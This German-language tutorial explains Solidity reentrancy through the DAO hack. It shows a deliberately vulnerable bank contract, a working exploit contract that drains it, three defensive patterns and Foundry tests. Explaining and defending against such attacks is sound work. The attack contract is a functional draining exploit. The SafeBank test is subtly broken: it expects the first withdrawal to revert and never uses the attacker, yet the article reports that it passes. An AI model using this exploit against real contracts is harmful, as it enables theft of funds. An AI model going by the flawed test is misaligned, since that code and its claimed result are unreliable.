Reentrancy: Die Sicherheitslücke, die The DAO 60 Millionen Dollar kostete

1. Übersicht

Reentrancy ist eine der klassischsten Sicherheitslücken in Solidity — und war der Grund, warum The DAO etwa 3,6 Millionen ETH (~60 Millionen USD im Jahr 2016) verlor. Dieser Artikel erklärt das Konzept von Reentrancy, zeigt ein realistisches Angriffszenario mit echtem Code und präsentiert drei verbreitete Abwehrmechanismen. Nach der Lektüre kannst du einen anfälligen Contract, den Exploit-Contract und die gepatched Version selbst schreiben — mit Foundry-Tests zum Nachweis.

2. Was ist Reentrancy?

Reentrancy tritt auf, wenn Contract A einen externen Aufruf (external call) zu Contract B macht, und B ruft A zurück auf, bevor A seinen State aktualisiert hat. Wenn A sich auf den alten State verlässt, um Logik zu entscheiden, kann B diese Lücke ausnutzen und eine Aktion (z.B. Abheben von Geld) mehrmals wiederholen.

Der Knackpunkt: In Solidity kann jeder call, send oder ETH-Transfer mit Daten die Funktion fallback/receive des Empfängers auslösen — und genau dort beginnt die Schleife.

3. The DAO: Was ist passiert?

The DAO war ein dezentralisierter Investmentfonds, der Token-Inhaber ermöglichte, ihre ETH über die Funktion splitDAO abzuheben. Diese Funktion schickte ETH zuerst, bevor sie das Guthaben des Abhebenden aktualisierte. Ein Angreifer schrieb einen Contract mit einer fallback-Funktion, die sofort splitDAO zurückrief, nachdem er ETH erhielt — und da das Guthaben noch nicht abgezogen wurde, konnte der Angreifer das Geld mehrmals in einer einzigen Transaktion abheben.

Die Folge: 3,6 Millionen ETH wurden abgehoben, bevor die Ethereum-Community einen umstrittenen Hard Fork durchführte (was zu Ethereum Classic führte), um das Geld zurückzuerstatten.

4. Die Sicherheitslücke mit Code reproduzieren

4.1. Anfälliger Contract

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;

contract VulnerableBank {
    mapping(address => uint256) public balances;

    function deposit() external payable {
        balances[msg.sender] += msg.value;
    }

    function withdraw() external {
        uint256 amount = balances[msg.sender];
        require(amount > 0, "No balance");

        // ETH SENDEN, BEVOR wir den State aktualisieren -> Sicherheitslücke!
        (bool success, ) = msg.sender.call{value: amount}("");
        require(success, "Transfer failed");

        balances[msg.sender] = 0;
    }
}

withdraw() ruft msg.sender.call{value: amount}("") auf, bevor es dann balances[msg.sender] = 0 setzt. Wenn msg.sender ein Contract mit einer fallback-Funktion ist, kann er withdraw() zurückrufen, während der call noch läuft — zu diesem Zeitpunkt wurde balances[msg.sender] noch nicht verringert.

4.2. Exploit-Contract

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;

import "./VulnerableBank.sol";

contract ReentrancyAttacker {
    VulnerableBank public bank;
    uint256 public constant ATTACK_AMOUNT = 1 ether;

    constructor(address bankAddress) {
        bank = VulnerableBank(bankAddress);
    }

    function attack() external payable {
        require(msg.value == ATTACK_AMOUNT, "Need 1 ether");
        bank.deposit{value: ATTACK_AMOUNT}();
        bank.withdraw();
    }

    receive() external payable {
        if (address(bank).balance >= ATTACK_AMOUNT) {
            bank.withdraw(); // Erneut aufrufen, während balances[this] noch nicht auf 0 gesetzt wurde
        }
    }
}

Ablauf:

  1. attack() zahlt 1 ETH in VulnerableBank ein und ruft dann withdraw() auf.
  2. withdraw() sendet 1 ETH zu ReentrancyAttacker, was receive() auslöst.
  3. In receive() sieht der Angreifer, dass die Bank noch ETH hat, also ruft er withdraw() erneut auf — aber balances[attacker] ist immer noch 1 Ether (weil die Aktualisierungszeile noch nicht ausgeführt wurde).
  4. Die Schleife setzt sich fort, bis die Bank kein Geld mehr hat oder das Gas aufgebraucht ist.
Bank-Guthaben vor dem Angriff: 10 ether
Bank-Guthaben nach dem Angriff: 0 ether
Angreifer-Guthaben:             11 ether

Hinweis: Der obige Code dient nur zu Demonstrationszwecken. Deploye ihn nicht auf Mainnet oder öffentliche Testnets — auch nicht zum «Spaß testen».

5. Warum dieser Code ausgenutzt werden kann

Der grundlegende Grund ist die Verletzung des Prinzips Checks-Effects-Interactions: Es sollte zuerst geprüft werden (checks), dann den State aktualisiert werden (effects), und erst dann mit externem Code interagiert werden (interactions). VulnerableBank kehrt die Reihenfolge von effects und interactions um — es sendet ETH (interaction), bevor es das Guthaben verringert (effect).

Außerdem übergibt call{value: amount}("") das gesamte verbleibende Gas an den Empfänger (anders als transfer/send, die 2300 Gas begrenzen), sodass der Angreifer genug Gas hat, um komplexe Logik in fallback/receive auszuführen.

6. Abwehrmechanismen

6.1. Checks-Effects-Interactions

Der einfachste und billigste Weg: den State vor dem externen Aufruf aktualisieren.

function withdraw() external {
    uint256 amount = balances[msg.sender];
    require(amount > 0, "No balance");

    balances[msg.sender] = 0; // Effect zuerst

    (bool success, ) = msg.sender.call{value: amount}(""); // Interaction danach
    require(success, "Transfer failed");
}

Wenn der Angreifer withdraw() in receive() zurückruft, ist balances[msg.sender] bereits 0, also require(amount > 0) wird sofort revert — die Schleife wird gestoppt.

6.2. ReentrancyGuard von OpenZeppelin

Wenn die Logik komplexer ist und du eine explizite Schutzschicht möchtest, nutze den Modifier nonReentrant.

<!-- Wenn du Hardhat/npm nutzt, installiere es über npm: -->
npm install @openzeppelin/contracts
import "@openzeppelin/contracts/utils/ReentrancyGuard.sol";

contract SafeBank is ReentrancyGuard {
    mapping(address => uint256) public balances;

    function deposit() external payable {
        balances[msg.sender] += msg.value;
    }

    function withdraw() external nonReentrant {
        uint256 amount = balances[msg.sender];
        require(amount > 0, "No balance");

        balances[msg.sender] = 0;

        (bool success, ) = msg.sender.call{value: amount}("");
        require(success, "Transfer failed");
    }
}

nonReentrant nutzt eine interne Variable _status: Wenn die Funktion läuft, wird der Status auf «gesperrt» gesetzt; wenn während dieser Zeit ein Rückruf in eine andere nonReentrant-Funktion des Contract erfolgt, wird die Transaktion revert.

Hinweis: nonReentrant schützt nur Funktionen im selben Contract mit demselben Modifier. Es verhindert Cross-Contract-Reentrancy nicht, wenn du einen anderen Contract aufrufst und dieser dann eine Funktion ohne nonReentrant zurückruft.

6.3. Pull-Payment-Pattern

Statt automatisch ETH zu senden, lass den Benutzer sich über einen separaten Schritt selbst abheben und trenne die Logik zum Akkumulieren von Schulden von der Logik zum Überweisen von Geld:

contract PullPaymentBank {
    mapping(address => uint256) public pendingWithdrawals;

    function creditWithdrawal(address user, uint256 amount) internal {
        pendingWithdrawals[user] += amount;
    }

    function withdraw() external {
        uint256 amount = pendingWithdrawals[msg.sender];
        require(amount > 0, "Nothing to withdraw");

        pendingWithdrawals[msg.sender] = 0;

        (bool success, ) = msg.sender.call{value: amount}("");
        require(success, "Transfer failed");
    }
}

Dieses Muster trennt das Risiko: Selbst wenn withdraw() zurückgerufen wird, hat die Logik zum Erfassen von Schulden (creditWithdrawal) bereits an anderer Stelle stattgefunden und wird nicht beeinflusst.

7. Tests schreiben, um den Angriff und den Patch zu demonstrieren

Mit Solidity ist das Test-Framework, das JUnit entspricht, Foundry (forge-std). Der Test unten zeigt, dass VulnerableBank aufgezehrt wird, während SafeBank nicht.

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;

import "forge-std/Test.sol";
import "../src/VulnerableBank.sol";
import "../src/SafeBank.sol";
import "../src/ReentrancyAttacker.sol";

contract ReentrancyTest is Test {
    VulnerableBank bank;
    SafeBank safeBank;

    address victim = address(0x1);

    function setUp() public {
        bank = new VulnerableBank();
        safeBank = new SafeBank();

        vm.deal(victim, 10 ether);
        vm.prank(victim);
        bank.deposit{value: 10 ether}();
    }

    function test_VulnerableBank_IsDrainedByReentrancy() public {
        ReentrancyAttacker attacker = new ReentrancyAttacker(address(bank));
        vm.deal(address(this), 1 ether);

        attacker.attack{value: 1 ether}();

        assertEq(address(bank).balance, 0);
        assertEq(address(attacker).balance, 11 ether);
    }

    function test_SafeBank_RejectsReentrancy() public {
        vm.deal(victim, 10 ether);
        vm.prank(victim);
        safeBank.deposit{value: 10 ether}();

        // Nutze Attacker gegen SafeBank -> erwarte, dass er nicht mehr als einmal abheben kann
        vm.expectRevert();
        vm.prank(victim);
        safeBank.withdraw(); // zweiter Aufruf nach dem Abheben wird revert, da amount = 0
    }
}

Test ausführen:

forge test -vv

Erwartete Ergebnisse:

[PASS] test_VulnerableBank_IsDrainedByReentrancy()
[PASS] test_SafeBank_RejectsReentrancy()

Der erste Test bestätigt, dass bank auf 0 geleert wird und der Angreifer 11 ETH erhält — genau wie im DAO-Szenario. Der zweite Test bestätigt, dass bei SafeBank (mit angewendetem Checks-Effects-Interactions) der zweite Abhebungsversuch revert wird, weil das Guthaben bereits auf 0 ist.

8. Häufige Fehler

  • Nur call in transfer/send ändern, ohne die State-Reihenfolge zu beheben: transfer limitiert auf 2300 Gas, blockiert also einfache Reentrancy, aber es ist keine vollständige Lösung — viele legitime Wallets/Contracts brauchen mehr als 2300 Gas zum Empfangen von ETH (z.B. Proxy-Contracts), was zu Fehlern führt.
  • Cross-Function-Reentrancy vergessen: zwei verschiedene Funktionen, die dieselbe State-Variable lesen/schreiben, können sich gegenseitig ausnutzen, wenn nur eine Funktion gepatcht wird.
  • Read-Only-Reentrancy: eine view-Funktion gibt einen nicht aktualisierten State zurück, der von einem anderen Contract gelesen und missbraucht wird, während eine andere Transaktion läuft — es verursacht Probleme, auch wenn nicht direkt Geld entzogen wird.
  • Darauf verlassen, dass nonReentrant für das gesamte System ausreicht: Wenn du viele Contracts hast, die miteinander interagieren, musst du den gesamten Call-Flow überprüfen, nicht nur einen einzelnen Contract.

Hinweis: Kein einzelnes Pattern sollte als «völlig immun» betrachtet werden. Kombiniere immer Checks-Effects-Interactions mit nonReentrant für Funktionen mit External Calls und Geldtransfers.

9. Fazit

Der DAO-Hack ist eine teure Lektion: Eine scheinbar harmlose Befehlsreihenfolge (Geld zuerst senden, Bücher danach aktualisieren) zwang die gesamte Ethereum-Community, einen Hard Fork durchzuführen. Das Prinzip Checks-Effects-Interactions, der Modifier nonReentrant und das Pull-Payment-Pattern sind drei grundlegende, aber ausreichend starke Werkzeuge, um diese Klasse von Schwachstellen zu blockieren. Wenn du eine Funktion mit einem External Call und Geldtransfer schreibst, stelle dir immer die Frage: «Wurde mein State aktualisiert, bevor ich nach außen aufgerufen habe?»

soliditysmart-contractsecurityreentrancyblockchain